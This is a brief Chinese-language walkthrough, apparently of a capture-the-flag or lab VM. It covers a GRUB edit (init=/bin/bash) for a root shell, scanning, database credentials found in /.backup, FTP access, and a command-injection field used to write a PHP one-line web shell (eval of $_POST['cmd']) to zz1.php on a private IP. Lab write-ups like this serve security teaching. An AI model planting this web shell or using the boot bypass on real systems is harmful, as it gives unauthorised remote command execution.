(1)配置ens33(扫描ip)
开虚拟机,按下shift。进入此界面,按e进入
在未尾处,找到ro,将ro 替换为rw signie init=/bin/bash
按ctrl+x进入如下界面
vim /etc/network/interfaces换成ens33即可
(2)目录扫描
(3)端口扫描
(4)拼接/.backup发现数据库的账号密码
(5)ftp连接
(6)点击Buecar,发现可以输入参数
(7)可以执行命令
(8)输入一句话木马
echo '<?php phpinfo();@eval($_POST["cmd"]);?>' > zz1.php
(9)访问
http://192.168.254.160/site/zz1.php